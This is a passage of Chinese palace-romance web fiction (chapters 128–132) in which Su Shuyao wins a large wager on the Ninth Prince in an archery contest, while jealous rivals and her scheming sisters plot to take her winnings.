谢瑜身上投下的银子，差不多有了十万两，其中有两万两，是长公主押的。 反之，没人敢在九殿下身上下注。 苏舒窈点头附和：“谢小郡王属实不凡。” 吴公公笑道：“那苏姑娘押多少啊？” 苏舒窈笑道：“我出一万两，押九殿下赢。” 吴公公：“......” 第128章 下注 吴公公吓得连退三步：“苏姑娘，你押九殿下，这、这不是......稳赔的买卖吗？” “就算再喜欢九殿下，也不能把钱当成纸吧。再说了，要是让九殿下知道你押了他，九殿下发起火来，可不得了了！” 楚翎曜掌管锦衣卫，除了皇帝，谁都不怕。 锦衣卫行事阴狠毒辣，楚翎曜接管锦衣卫没多久，手段狠戾的名声便传得满朝皆知。 之前户部右侍郎家的公子调笑他长得漂亮，隔天户部右侍郎就被抄了家。 没有强大的背景，无人敢招惹。 吴公公看了眼苏舒窈手中的银票，热心建议：“还是押谢小郡王保险一点。” 苏舒窈抬眼看向吴公公：“内侍大人，您是谢小郡王的人吧。” 吴公公眼中闪过一丝错愕。 “......”这小妮子怎么看出来的？ “暗示大家押谢小郡王，也是谢小郡王在背后指使的吧。”苏舒窈莞尔一笑：“我可不上他的当。” “一万两，押九殿下。” 吴公公：“......”敢情他刚刚的口舌白废了。 苏舒窈简单一想便明白了。 谢瑜开的赌局，怎么会让自己亏钱。 别人不了解谢瑜，她可了解得很。 当初为了把手上那批浸水香料出手，谢瑜不惜对着苏明珠用上了美男计。 今日定不会为了赢个骑射比赛，为了所谓的面子，让自己亏本。 到时候他来个无伤大雅的失误，输了比试，然后赚得盆满钵满。 所谓知己知彼，百战不殆。 遇到她，谢瑜今儿的生意，要白干一场了。 吴公公迟迟不肯接银票，苏舒窈笑道：“内侍大人，你们谢小郡王是不是输不起？” “我看了一下，九殿下赔率一比九，要是九殿下胜出，我赢九万两。” “这里已经下注了十万两，谢小郡王还能赚一万两呢。” 吴公公苦哈哈抹了一把头上的冷汗：“苏姑娘，做生意可不是您这样的。” 苏舒窈双眼露出一抹狡黠：“内侍大人再不收银票，我可要追加了。长公主押了两万两，我只要不超过长公主就行吧。” 吴公公苦笑了一声，赶紧接过银票，埋头登记：“苏姑娘，奴婢这下子没办法给主子交差咯~” 苏舒窈：“后面还有那么多贵女没下注呢，内侍大人可以继续忽悠。” 吴公公：“......” 冷如烟透气回来，正好撞见准备离开的吴公公。 见吴公公愁眉苦脸，冷如烟主动询问：“内侍大人，您这是怎么了？” “没什么，对了，冷姑娘还没下注吧，快来看看。”吴公公殷勤地递上册子。 冷如烟扫了一眼，柔声问道：“舒窈妹妹押了谁啊？” 吴公公撇了撇嘴：“冷姑娘，咱家悄悄告诉你一人，你可千万别告诉别人啊。” 冷如烟：“内侍大人，您放心，我的嘴很紧的。” 吴公公摆了摆头，压低声音道：“苏姑娘她啊，押了一万两在九殿下身上。大家都知道九殿下轻易不会参赛，咱家劝她慎重，她偏要一意孤行，还嫌咱家多管闲事。只希望她到时候输了，别掉金豆豆。咱家也是觉得，就算再喜欢九殿下，也不该这么浪费银子啊。” 冷如烟心中震惊。 苏舒窈竟然敢下一万两赌九殿下赢？！ 她疯了吧！ 依九殿下的脾性，要么不会参加比试，要么比试一半，觉得对方实力太差，直接走人。 苏舒窈没有她了解九殿下。 冷如烟勾起了唇角。 再想到苏舒窈待会儿要输一大笔银子，冷如烟呼吸都顺畅了。 输光你个死花痴！ “哎呀，舒窈妹妹就是固执，真是浪费了内侍大人一番好意。” 吴公公拿着册子，热情得像个知心大哥哥：“冷姑娘下注吗？大家都看好谢小郡王哦。” 冷如烟柔声道：“我出五千两，不对，我出一万两，押谢小郡王赢！” 得不到爱，便赢点银子安抚破碎的心吧。 吴公公喜笑颜开地登记：“冷姑娘，这是您的票，您拿好，待会儿比试结束，凭票兑银子。要是输了银子，也请侍郎府及早把这一万两送来。” 冷如烟签字画押之后，吴公公便离开了。 冷如烟瞅着苏舒窈，心中冷笑。 等输了银子，看你怎么哭！ 正在思忖间，丫鬟悄悄凑到她耳边，激动得差点压不住声音：“小姐小姐，九殿下朝小姐这边看了好几眼！” 冷如烟睨她一眼，示意她别说了。 丫鬟皱了皱眉，继续认真道：“小姐，虽然九殿下的动作很隐蔽，但奴婢真的看到了！” 丫鬟说完，一副讨赏的表情。 冷如烟气得骂道：“闭嘴，再胡说八道回去就发卖了。” 九殿下是在看她吗，九殿下是在看苏舒窈那个贱人。 什么眼神？！ 冷如烟看着苏舒窈，心头就窜出一股无名火。 她是一刻也坐不下去了。 冷如烟找借口换了个凉棚，和苏明珠坐在了一起。 苏明珠听说苏舒窈拿出一万两银票赌九殿下赢，鼻子差点气歪。 “不是说没银子吗？这一万两哪里来的？！” 苏明珠定力好，还能忍，苏明芷是一点忍耐力也没有，气得当场破口大骂： “我们天天在侯府吃水煮菜，不是茄子炖豆角，就是豆角炖茄子，我人都快吃成紫色的了，她苏舒窈拿着银子在外面大手大脚挥霍！” 苏明珠连忙捂着苏明芷的嘴。 天天吃水煮菜的事怎么能让外人知道？ 他们就算没得吃快饿死，到了外面，都必须表现出天天享用海参燕鲍的样子。 那可是侯府的脸面。 “如烟姐姐，别听小妹胡说，她是气坏了。”苏明珠捂着苏明芷的嘴出了凉棚。 有了共同憎恨的人，冷如烟忽然觉得，和苏明珠两姐妹的关系靠拢了些。 “小妹，这种事是能随便嚷的？”凉棚外，苏明珠压低声音训斥。 苏明芷也知道自己太冲动了，连连道歉：“明珠姐姐，我错了，我也是被气坏了。” 苏明珠小声道：“回去就告诉父亲，让父亲训她。” 可惜母亲进了家庙，依母亲的手段，定要把那个满嘴谎言的贱人的小金库抄个底朝天。 苏明珠再次告诫：“在外人面前，说话一定要过过脑子。” “明珠姐姐，我知道。”苏明芷不想进去。 冷如烟一副高高在上的样子，看她们的眼神仿佛施舍。 她不喜欢冷如烟。 “明珠姐姐先进去吧，我去更衣。” “行，让翠仪陪你去，注意别乱跑。” “行了，我知道了。” 苏明芷从凉棚转出来，往恭房走。她走得急，转弯的时候没注意，一不小心和一位公子撞了个满怀。 公子一把扶着她的手：“这位姑娘，你没事吧？” 苏明芷正准备骂人，抬头便撞入一汪深情的眼眸里。 和她撞在一起的公子，正是周慕云。 第129章 没了爱还要输钱 周慕云赶紧道歉：“姑娘，实在是对不起，是在下莽撞了。” 道歉态度真诚、眼神澄澈，手上却没有把人放开。 苏明芷立刻收起小姐脾气，夹着嗓子道：“没、没什么。公子不必自责，我也有错，我走得太急，没注意。” 苏明芷走得太快，翠仪跟在后面现在才追上来。 翠仪见到一陌生男子拥着苏明芷，气得当场破口大骂：“哪里来的登徒子抱着我家姑娘不放手！快滚一边儿去，再不放手我动手了！” 翠仪撸着袖子就要上前扯人，周慕云这才慌慌张张把手放开。 放开之后，他红着脸低着头，连续作了好几个揖：“对不起，我一时慌张，没、没反应过来。对不起，是在下冒犯了。” 周慕云整个人红温了，脸瞬间红到耳根，下巴快要戳到胸口。 看起来老实到了骨子里。 这时，一个书童从一旁的树林走出来：“这位小姐不好意思，我家公子思考文章的时候容易犯迷糊，他不是故意的。” 苏明芷也乖巧行了个礼：“我没事儿，快带你家公子走吧。” 她一下就认出来，这位公子正是刚刚在花厅走错地儿那位。 才华横溢的人，身上都有股憨直劲儿。 苏明芷不觉得冒犯，反而觉得有些可爱。 翠仪嚷道：“二小姐，还说没事儿，您的绣花鞋都被踩脏了。” 苏明芷低头一看，不仅绣花鞋被踩脏了，鞋尖上镶嵌的一颗东珠也被踩歪了。 苏明芷皱了皱眉，这可是她唯一一双拿得出手的绣鞋了。 现在侯府没银子，她都没钱做新衣裳，稍微体面一些的衣裳都是重要场合才穿。 翠仪蹲下身用帕子帮苏明芷擦绣鞋，抱怨道：“擦不干净，去净房用水擦一下吧。” 主仆二人携手往净房去，走了两步，才发现周慕云带着书童跟在身后。 翠仪转身骂道：“呆子，你还跟着我们家小姐干什么？” 周慕云低着头，老实巴交道：“小姐的鞋是在下踩坏的，在下跟着，要是擦不干净，在下好赔偿。” 翠仪：“你赔得起吗！小姐绣鞋上这颗东珠，值好几百两！” 听到一双鞋就要好几百两，周慕云唇角抿成了一根直线。 他身边的书童嚷道：“一双绣鞋就要几百两，你们敲诈呢！” 翠仪回骂道：“这可是南海东珠！成色好一点能卖到上千两呢，没见识的乡巴佬！” “我姐小姐可是威远侯府的嫡小姐，家里东珠一抓一大把！” 听到“威远侯府嫡小姐”几个字，周慕云下意识皱了皱眉。 书童还要再骂，周慕云将书童拉到一边：“锦书，再吵信不信我把你送回老家。” 书童还在为自家少爷鸣不平：“少爷，她们故意讹你呢！” “闭嘴。”周慕云骂完书童，再次看向苏明芷：“这位姑娘，在下代书童向小姐赔罪。” 苏明芷捏着帕子：“不用，公子的书童率直，也是担心公子吃亏罢了。” 锦书嚷道：“小姐你说得真对，我家公子心善，经常吃亏。但我看着，小姐人美心善不像坏人，肯定不会讹我家公子的。” 周慕云再次规矩行了一礼：“小姐，在下是湖州的举子，姓周，名慕云，现住在柳树胡同，小姐的绣鞋要是补不好，在下愿意按价赔偿。” 说完，便带着书童走了。 苏明芷看着周慕云的背影，揉搓着手中的帕子，不知道在想什么。 翠仪挽着苏明芷朝净房走：“二小姐，那人好无礼，一直盯着二小姐看，真是个无礼的登徒子！” 苏明芷拍她一下：“哪有，你别胡说。” 翠仪：“那个穷举子，也敢肖想咱二小姐？！咱二小姐可是要高嫁的！” 苏明芷没有说话。 高嫁有什么好，高嫁不仅要看婆母小姑的脸色，还有难缠的妯娌、狐媚的妾室。 还不如选一个有潜力的低嫁。 夫君需要仰仗岳家家世，定不敢胡乱纳妾，只要她的嫁妆丰厚，就不会过苦日子。 刚刚那位周公子就不错，来年中了进士，也是前途无量。 她扶夫君凌云志，夫君送她万两金。 “明芷，你怎么才回来，比试都开始了，快来坐下！” 不一会儿，骑射比试开始了。 比试一共分为两轮，第一轮固定靶，每人十支箭，前三进入下一轮。 第二轮移动靶——鸽子身上系上五彩丝绦，丝绦上绑着玉环，射中玉环便得一分。 比试开始。 楚翎曜双腿夹紧马腹，抬臂将弓拉成满月。 乌黑的发被红色绸带高高竖起，秋风吹起绸带，与绯衣缠绕，仿若燃起一团熊熊烈火。 搭弦、拉弓、发射一气呵成，箭矢如流星般疾驰而出。 十箭连发，几乎没有停顿。 全部正中红心。 射完箭，楚翎曜收起银弓，秾丽的长相被锐气冲淡了几分，烘托出一派动人心魄的少年英气。 比骄阳还要耀眼、炽热。 白色的骏马打了个响鼻，楚翎曜拉紧缰绳，随即绕场奔跑起来。 他骑着马，路过苏舒窈所在的凉棚。 骏马疾驰掀起一阵风，凉棚前挂着的薄纱被吹起，露出一张如花般的笑靥。 楚翎曜并未在凉棚面前停留，看似无意经过、无意带来一阵风掀起凉棚前的薄纱，无聊了跑跑马...... 冷如烟却看得清清楚楚，九殿下唇角微勾，明明就是一副领赏的表情。 十箭全中靶心，特意到苏舒窈面前炫耀。 像一只傲娇的猎豹。 寻常的九殿下，好似一团冷得化不开的松烟墨，到了苏舒窈面前，仿若变成了一团炽热的火。 冷如烟气得一脚踹翻了面前的案几。 茶盏霹雳吧啦落在地上，洒了一地。 心中暗自祈祷，九殿下快离开，这种凡夫俗子的比试，高贵的九殿下怎么能参加？！ 离开，让苏舒窈输钱！输钱！ 只有看到苏舒窈输钱伤心，冷如烟那颗破碎的心才能好起来。 忽然，隔壁议论声传来：“听说长公主准备了彩头，魁首可得一支缠丝点翠簪子。” “男子拿点翠簪子干什么啊？” “笨，当然是送给心仪的女子啦！” “不知道谁那么好运，能得到那支点翠簪子。” ...... 听到隔壁的议论，冷如烟心中大惊。 九殿下不会为了送苏舒窈点翠簪子，一举夺魁吧？ 她失去了爱情，还要输一大笔钱？ 第130章 消沉 冷如烟如坠冰窟。 她虽然是户部侍郎家的千金，姑母是皇帝宠妃，一万两对她来说，也不是小数目。 要是被父亲知晓，必定要被重罚。 不行，她不能输钱！ 现在比试还没完，她还有机会，她要找到吴公公，重新下注！ 冷如烟捏着手中牌子，“嗖”的一下窜了出去。 动如脱兔，完全和“弱柳扶风”四个字毫无关系。 苏明芷吓得抱住苏明珠：“二姐姐，冷姑娘不会是有什么大病吧？” 忽然把案几踹了，又像条疯狗似的窜了出去，动作仿若鬼上身。 这是在长公主府，冷如烟虽然家世显赫，也不能在长公主府随意发疯吧？ “二姐姐，我害怕！” 苏明珠让翠仪把案几扶起来，又把碎掉的茶盏打扫干净，轻轻拍着苏明芷安慰：“别担心，肯定是因为苏舒窈惹如烟姐姐生气了？” 苏明芷：“苏舒窈的凉棚离那么远，怎么可能惹到她。她平时表现得那么柔弱，刚刚你看到了，她的动作好癫啊。二姐姐，她不会是中邪了吧？” 苏明珠轻笑出声：“癫啊，癫一点才好。就是要癫的，才能整治苏舒窈。像我们这种正常人，简直拿她没办法。” ~ 冷如烟找到了吴公公，要求重新下注。 吴公公的态度一整个大转变：“比试已经开始了，买定离手，概不调换，冷姑娘如果有多余的银子，倒是可以加注。” 冷如烟不敢在吴公公面前发癫，只得垂头丧气回来。 苏明珠试探着问道：“冷姐姐，是不是苏舒窈又惹你了？” 冷如烟咬牙切齿，脸上的柔弱都不装了：“苏舒窈怎么那么坏啊？简直坏到了骨子里。” “如烟姐姐，你要怎么整治她，我们一定会帮你的。” 苏明珠心下一喜。 这场赏花宴简直收获满满，给苏舒窈找到一个劲敌。 现在，她只要喝喝茶，悠闲地坐山观虎斗即可。 冷如烟指着苏明芷：“你，过去守着她！有什么动静，马上回来告诉我。” 苏明芷藏不住情绪，咋咋呼呼像只斗鸡，虽然战斗力为零，但也可以恶心苏舒窈。 ~ 这边，万家两个表妹见冷如烟离开，主动找了过来。 “舒窈姐姐，我们能和你坐一起吗？” 苏舒窈点了点头：“当然可以。” 坐好之后，万映霞小声道：“舒窈姐姐，要小心明芷妹妹和明珠妹妹，我隐约听见她们好像商量，要对你不利？” 苏舒窈看了她一眼，笑着点了点头：“多谢提醒，我会小心的。” 又坐了一会儿，苏舒窈见万映霞似乎是有话要说，又不知如何开口，主动询问道：“映霞表妹，按理说，你应该和苏明珠两姐妹交好，怎么频频向我示好？” 在聪明人面前，万映霞也不拐弯抹角：“之前在家就听母亲说过，舒窈姐姐很能干。之前见过几次，对舒窈姐姐印象深刻。舒窈姐姐沉稳大气，待人真诚，从不会无缘无故发小姐脾气，承诺的事也会做到。比之苏明珠和明芷两姐妹，有过之而无不及。如果舒窈姐姐能助我高嫁，这份恩情必当铭记于心。” 苏舒窈笑了笑：“我哪里有那个本事让你高嫁？” 万映霞被拒绝也不生气：“如果有机会，请舒窈姐姐先考虑一下妹妹就是了。” 苏明芷过来的时候，正好听见万映霞向苏舒窈表忠心，她当即骂道：“万映霞，你也不撒泡尿照照镜子，你爹区区五品官，还想高嫁？想屁吃呢！” 万映霞毫不留情回怼：“我爹虽然是五品官，手上却有实权，还是在兵部任职，比你爹一个落魄勋贵简直不要好太多！” 苏明芷上前就要和她扯头花：“胡说八道些什么？！” 翠仪挽着袖子，“二小姐，你让开，让我来！” 万映霞带来的丫鬟也不示弱，两个丫鬟冲到一起，厮打起来。 苏舒窈端着茶盏，完全没被影响。 她缓缓喝了一口茶水，慢慢悠悠道：“叫人来，把这两个放肆的丫鬟撵出去。” 简单一句话，声音不大，语气平缓，却让人不可忽视。 两个丫鬟互相恨了一眼，依依不舍地分开来。 这里是长公主府，容不得她们撒野。 苏舒窈放下茶盏，看向两个丫鬟：“出去守着。” 两个丫鬟互相看了一眼，退了出去。 苏明芷嘟着嘴坐下：“苏舒窈，你看见我被欺负都不帮我？” 苏舒窈淡淡一笑：“我帮理不帮亲。” 上一世殚精竭虑付出那么多，还落得那个下场。 这一世，苏舒窈不仅不会帮忙，还要落井下石。 苏明芷气得鼻子歪。 “安静，比试快开始了。” 第一场比试结束，前三分别是楚翎曜、谢瑜、岳清晏。 休息一盏茶的时间，紧接着进入下一轮。 负责计数的小吏手握旌旗，将场地围了起来，绑好丝带的信鸽也被抬到了草坪上，等着被放飞。 楚翎曜、谢瑜、岳清晏三人正在做最后的准备。 谢瑜、楚翎曜自然是天子骄子、人中龙凤，全场贵女的目光几乎都在二人身上流转。 但站在一旁的岳清晏也不差。 高门大户养出的公子，虽然长相上差了一点，但气质卓绝，不是一般小门小户的举子可比拟的。 万映霞小声问道：“舒窈姐姐，那位公子是哪家的啊？” 苏舒窈看了苏明芷一眼：“辅国公府嫡出的小公子岳清晏。” 上一世，苏明芷嫁的正是岳清晏。 高嫁之后，苏明芷反而对苏舒窈恨入骨髓，恨她拆散了她和穷举子。 苏舒窈被灌下迷药，被污蔑和马夫私通，那个马夫，就是苏明芷亲自找来的。 “辅国公府的嫡公子啊！”万映霞坦荡地看过去：“真是一表人才。” 苏明芷冷声道：“攀龙附凤，见到权贵便像是苍蝇闻到了臭气，不要脸不要皮扒上去，真是丢了万家的脸！” 万映霞：“明芷妹妹不过表面清高，心里也是想高嫁的吧。” 苏明芷冷哼一声：“这种纨绔，送我我也不要！” 万映霞：“你不要我要！” “哼！” 苏舒窈看着两人斗嘴，脑中忽然闪过一个想法。 既然苏明芷不想嫁，她倒是可以帮忙，让万映霞嫁进辅国公府。 万映霞是个头脑清新的，嫁入辅国公府，也能成为她的助力。 至于苏明芷，便和穷举子绑定一辈子吧。 第131章 最后的赢家 “呜——” 风劲角弓鸣，信鸽展翅齐飞。 玉环很轻，薄薄的一片，随着五彩丝绦随风翻飞。 第二轮比试的要求：箭矢穿过玉环，不能将玉环射裂，也不能伤到信鸽。 比试开始，楚翎曜和谢瑜同时抬臂拉弓。 “咻——” “咻——” 两支箭矢离弦而出，朝着同一只信鸽疾驰飞去。 眼看楚翎曜的箭矢要穿过玉环，后面跟来的箭矢将他的箭矢撞开，两支箭矢同时落下。 谢瑜双腿夹着马肚子，朝着楚翎曜笑了笑：“九表弟，得罪了。” 楚翎曜冷冷地看了人一眼：“无妨，重新来过。” 两人再次拉弓。 这一次，两只箭矢飞往不同的方向，几乎是同时穿过了玉环。 负责计数的小吏捡起箭矢，摇了摇旌旗。 九殿下和谢小郡王各得一分。 一白一红两道身影在绿色草坪上驰骋。 少年好驰逐，草尽马蹄轻，春风得意，皎如玉树临风前，直惹得在场贵女们挪不开眼。 要是能嫁给其中一人，都能叹上一句三生有幸。 场上有小吏计数，场下有贵女帮着计数。 “八、九、十，九殿下射中十个了！” “谢小郡王也射中九个了，哎呀，十个了！” “岳家公子也不赖，射中六个了！” “九殿下再得一分！” 楚翎曜和谢瑜两人你追我赶，不相伯仲。 最紧张的当属冷如烟。 作为九殿下的狂热爱好者，她却一直关注着谢小郡王。 心中默念：“一定要赢，一定要赢，一定要赢。” 那可是一万两银子啊！ 都怪刚刚气急攻心，被那阉竖哄骗两句便上了头，赌气下注一万两。 要是被爹娘知晓，肯定免不了一顿臭骂。 苏明珠打算和冷如烟商量怎么对付苏舒窈，冷如烟完全没有闲工夫理她，只见她咬紧后槽牙，一错不错地盯着谢小郡王。 一会儿哭一会儿笑。 苏明珠心中暗道：冷如烟不会真的有病吧。 眼看空中的信鸽越来越少，九殿下和谢小郡王的比分越咬越近。 直到只剩下一只信鸽。 谢小郡王和楚翎曜比分相同。 场上三人同时拉弓射箭，三支箭矢朝着信鸽飞过去。 谢小郡王的箭在最前面。 ！！ 冷如烟松了一口气，太好了，应该赢了。 她脱力似地瘫坐在圆椅上，吐出胸中积攒已久的浊气。 太惊心动魄了。 虽然失去了爱情，但好歹保住了钱袋子。 不对，还赢了三万两。 三万两，整整三万两啊！！ 可以置办好多首饰衣裳了！ 她胸口的浊气还没来得及吐完，便看见谢小郡王的箭被楚翎曜的箭撞开了。 冷如烟：！！ 神经再次提起来。 别慌，别慌，还有岳清晏，只要岳清晏射中，谢小郡王和九殿下并列第一，她也不算输。 楚翎曜的箭撞开谢瑜的箭之后，落下来，又砸到了岳清晏的箭。 三支箭同时落下。 谢瑜和岳清晏暗叹一声可惜，还没来得及再次拉弓，楚翎曜的第二发箭矢已经离弦，直直朝着玉环破空而去。 “咻——” 箭矢精准地穿过玉环。 小吏捡起箭，摇了摇旌旗，表示九殿下再得一分。 岳清晏笑道：“恭喜九殿下，在下输得心服口服。” 楚翎曜冷冷地打量了手下败将一眼，一言未发，策马离开了。 九殿下一向如此高冷，岳清晏早已见怪不怪，他骑马来到谢瑜身边，安慰道：“谢小郡王，可惜了，只差一点。” 谢瑜脸上露出一抹遗憾，心里却乐开了花。 他赌对了。 开场的时候，他射出的第一箭撞到了楚翎曜的箭，他就知道楚翎曜小气要记仇，定要报复回来。 比赛的时候他暗中观察，楚翎曜明明可以一骑绝尘，却故意等着他追分。 给了他夺魁的希望，最后千钧一发之际，又让他失望。 啧啧，报复心真强。 只是，这一切正合他意。 虽然输了比赛，但也没丢脸面，说不定这场比试还能流传成为一段佳话。 听说他身上压了十五万两，他这一输，稳赚十五万。 他赢得了银子，观众们欣赏了精彩的比赛，双赢。 这笔生意真划算。 紧接着就是颁奖环节，楚翎曜直接拿了簪子放进怀里。 长公主笑道：“小九今日不太寻常，铆足劲争第一，这是有了心仪的姑娘？不知哪位姑娘有幸得到小九的簪子？” 楚翎曜垂着眸子：“姑母误会了，簪子我拿回家给猫玩耍。” 长公主一点也不觉得冒犯，反而笑起来：“翎曜就是这般嘴硬。有了喜欢的女子，不如早早告诉容妃，让容妃帮你安排。” 提到容妃，楚翎曜眸子暗了暗，眼底毫无波澜：“多谢姑母关心。” 谢瑜上前一步跪在长公主面前：“母亲，孩儿让母亲失望了。” 长公主笑着将人扶起来：“瑜儿一点也不差，不过是运气稍逊一筹，今天的比试很精彩，母亲很欣慰。” “多谢母亲宽慰，孩儿定当勤学苦练，来日再和九表弟比试一番。”谢瑜说。 比试完，谢瑜借口换衣裳，回了自己的院子。 吴公公早已等在院子里。 “郡王殿下，今儿可是赚了足足六万两啊！” 吴公公笑的殷勤，双手将册子碰到谢瑜面前。 谢瑜眉眼一挑，温润的脸上多了几分颜色：“六万两？怎么才这点？比试之前不是都已经押了十多万两吗？” 他双眼一凝，眼中出现一抹厉色：“是不是你贪墨了？” “哎哟，主子冤枉啊，奴才哪里敢贪墨主子的银子？”吴公公摸了一把头上冷汗，“有人下注九殿下。” “谁那么大胆？就不怕九表弟找他麻烦？！”谢瑜接过册子，一看，苏舒窈押了一万两。 谢瑜脸色黑了黑。 他忙活这一场，全给苏舒窈做了嫁衣。 心疼。 吴公公敏锐地察觉到自家小主子心情不好。 自家小主子什么都好，就是对银钱特别看重。 愁眉紧锁的样子，看得人好揪心啊。 苏姑娘也是个要钱不要命的主儿，他废了那么多口舌，分析利弊，威逼利诱，苏姑娘依然要押九殿下。 都怪苏姑娘，害得自己小主子伤心了。 不过转念一想，苏姑娘和咱家小主子好般配啊，都是要钱不要命的主儿。 待会儿偷偷告诉长公主，看看长公主是个什么意见。 吴公公：“郡王，奴才先去给苏小姐兑奖了。” “快去，别在我面前碍眼。”谢瑜将剩下的六万量揣进兜里，气呼呼挥手。 “是。” 第132章 赠簪子 “苏姑娘，你怎么没在凉亭待着啊，咱家到处找你。”吴公公捧着厚厚一沓银票，走到苏舒窈面前：“这里加上本金，一共是十万两，苏姑娘清点之后，麻烦在册子上签个字。” “内侍大人，外面晒得慌，到凉亭里来吧。”苏舒窈专门侯在冷如烟的凉亭外。 她撩开帘子，往里一看，正好看见冷如烟瘫坐在地，双眼无神，好似死鱼一条。 “如烟姐姐，我可以进来一下吗？内侍大人进来办点事。” 没得到允许，苏舒窈便带着吴公公进入了凉棚。 吴公公瞧了一眼冷如烟：“冷姑娘，那一万两您是自己派人送到长公主府，还是咱家派人去冷侍郎府取啊？” 冷如烟生无可恋：“您派人来取吧。” 吴公公：“冷姑娘不就输了银子，怎么跟输了半条命似的！快打起精神来。” 吴公公调侃完冷如烟，朝着苏舒窈递过去厚厚一叠千两面额的银票：“苏姑娘，麻烦你清点一下。” 苏舒窈接过来，一张一张数了起来。 冷如烟余光扫到苏舒窈数银票的样子，视线逐渐模糊，用力将下唇咬得发白，才没有让眼泪掉下来。 苏舒窈真的太恶毒了，不仅私下里勾搭了九殿下，现在还赢了银票，不仅赢了银票，还故意到她面前来炫耀...... 恶毒啊，真恶毒...... 她失去了爱情，现在还失去了银钱。 她好惨啊！ 冷如烟只觉得呼吸困难，每一次呼吸都带着尖锐的刺痛，好似千把刀扎在胸口。 苏明珠看着她的样子，以为她要死了，结果冷如烟开口吩咐：“拿笔来，我要赋诗一首。” 能比苏舒窈厉害的，只剩才华了。 苏明珠：“......” 救命，冷如烟真的有病，还病得不轻！ 苏舒窈是故意在她面前数银票的。 冷如烟吃醋的反应，她全都看在眼里。 她故意到冷如烟面前炫耀，故意刺得她心梗。 苏舒窈数完银票，抽了两张递给吴公公：“辛苦内侍大人了。” 吴公公脸笑成了一朵花，连连抬手推拒：“哎呦，这、这也太多了吧。” 苏舒窈：“不多，要不是吴公公，我也赢不了这么多，这都是吴公公应得的。” 吴公公勉为其难收下银票：“苏姑娘赢钱是苏姑娘的本事，跟咱家可没有关系。苏姑娘，你好生休息，有什么事儿尽管来找咱家。” 吴公公拿着银票，喜笑颜开离开了。 苏舒窈让秋霜把银票收了起来。 苏明珠盯着银票，眼睛放着绿光：“舒窈姐姐，大家都是姐妹，你赢这么多银票，不应该给我们分一点吗？” “你看看如烟姐姐，如烟姐姐输了银票，伤心成什么样子了，你难道忍心？正所谓独乐乐不如众乐乐，我拍板，这些银票，我们姐妹四人一人两万两，分了吧。” 冷如烟死鱼般的眼睛里忽然有了神采，紧紧盯着苏舒窈的钱袋子。 她输了一万，苏舒窈赢了九万，她大可以利用话术，从苏舒窈那里把输掉的银子找补回来。 她可是户部侍郎家的千金，用两万两就能巴结她，苏舒窈那个落魄勋贵家的养女说不定乐疯了吧。 “舒窈妹妹，明珠妹妹的话有些道理，姐姐不是想要你的银票，但你这些银票，也是不义之财，按理说也该捐出去。但捐出去，就怕遇到骗子，不如分给我们几个知根知底的姐妹，我们姐妹几个平时乐善好施，常做好人好事，这些银子，我们拿在手里，也能帮助更多需要帮助的穷苦之人。” 一席话说得是冠冕堂皇，把抢银子说成了做好事。 苏明芷听不太懂冷如烟叽里咕噜说了些什么，她只知道要银子。 霸道地伸出手：“苏舒窈，快把银票拿出来分给大家。” 苏舒窈像是看傻子一样看着她们，笑道：“你们要抢？” 苏明珠：“怎么叫做抢呢，我们这是姐妹情深，舒窈姐姐不想背负背叛姐妹的名声吧。” “明珠姐姐都拍板了，你还不拿出来！”苏明芷已经迫不及待了，站起来就想上手去抢。 万映霞忽然站出来挡在苏舒窈面前：“明芷，你干什么？” 她看向苏明珠：“明珠这话说得好没道理，明明就是混淆是非、颠倒黑白，想要强抢舒窈姐姐的银子！我不服气！” “我们和舒窈姐姐的事，和你有什么关系？我管你服气不服气！” 有冷如烟做靠山，苏明珠的底气很足。 今天苏舒窈不把银钱拿出来，她还有更脏的水往她身上泼。 万映霞：“那我去请内侍大人和长公主来评评理。” 苏明芷骂道：“万映霞，你爹是兵部的，如烟姐姐的爹是户部侍郎，你信不信如烟姐姐回去告诉侍郎大人，让冷侍郎扣掉你爹的军饷！” 苏舒窈噗呲一声笑了出来，“这话要是传出去，冷侍郎头上的乌纱帽可能会保不住了。” 真是不怕神一样的对手，就怕猪一样的队友。 朝廷严查贪腐，苏明芷这是把冷家往火坑上推。 冷如烟恨了苏明芷一眼，柔柔一笑：“明芷妹妹开玩笑的，大家千万别放在心上，我一个弱女子，怎么能指挥得了爹爹。” 苏舒窈笑道：“原来的开玩笑啊，我还以为户部官员都是强盗呢！” 万映霞拉着苏舒窈就要往外走：“舒窈姐姐，我们走吧，再多留一会儿，怕是又要编出什么奇怪的理由让你掏银子了。” 苏舒窈和万映霞离开后，苏明芷狠狠地骂道：“狗腿子！” 苏明珠并没有太生气，待会儿她回家告诉父亲，苏舒窈手上有十万两银子。 这十万两银子，苏舒窈一分都留不下来！ 可惜母亲被送去家庙了，要是母亲在，母亲把银票拿到手，肯定会分给她一些。 父亲沉迷炼丹，得了银票，给他们的也很少。 不过有了这些银票，不用再吃水煮菜了，还能给二哥哥请个医术高明的医师。 苏明珠越想越美妙。 冷如烟狠狠瞪了苏明芷一眼，“你什么玩意儿，还能替我父亲做主了！猪脑子，说话之前能不能先过过脑子！” 又看向苏明珠：“管好你妹妹！” 苏明珠：“......” 冷如烟实在憋闷得慌，一个人出去透气。走到回廊，忽然看到一抹熟悉的身影。 九殿下，还是独自一人！ 运气真好！ 冷如烟让丫鬟原地等着，迈着小碎步就跟了上去。 “九殿下。” 冷如烟快步上前，行了一礼。 “民女冷如烟，给九殿下请安。” 九殿下不喜欢别人盯着他看，冷如烟低着头，没办法让对方看到自己漂亮的面容。 但她扭着腰身，尽力凹出一个凹凸的幅度，最大程度展示自己的曲线。 楚翎曜看都没看她一眼，抬脚就往前走。 冷如烟叹了口气，赶紧跟了上去：“九殿下，民女有事给九殿下汇报，事关苏舒窈的！” 听到苏舒窈三个字，楚翎曜停下脚步。 他背着手，慢慢走到冷如烟面前，居高临下地看过去。 “说。” 冷如烟柔声道：“民女和苏姑娘是情同姐妹的闺中密友，想必刚刚九殿下也看到了，民女一直和苏姑娘坐在一起。” “说重点。” 冷如烟扭扭捏捏道：“苏姑娘她，和谢小郡王之间，有不正当的关系。” 楚翎曜眼眸幽深，毫无波澜，像是一汪深不见底的幽潭。 看着冷如烟，仿若在看一个死人。 “你是哪家的姑娘？” 冷如烟愣了愣，一股悲凉从脚底蔓延，她刚刚不是说了吗，她是冷如烟啊。 她是青梅竹马的冷如烟啊！！ “回殿下，民女是户部侍郎家的姑娘，冷如烟。” 楚翎曜眼神暗了下来。 户部侍郎冷家的，良妃的侄女。 杀起来麻烦。 楚翎曜顿了顿，从怀中掏出一支簪子递了过去：“赏你的，拿着玩吧。” 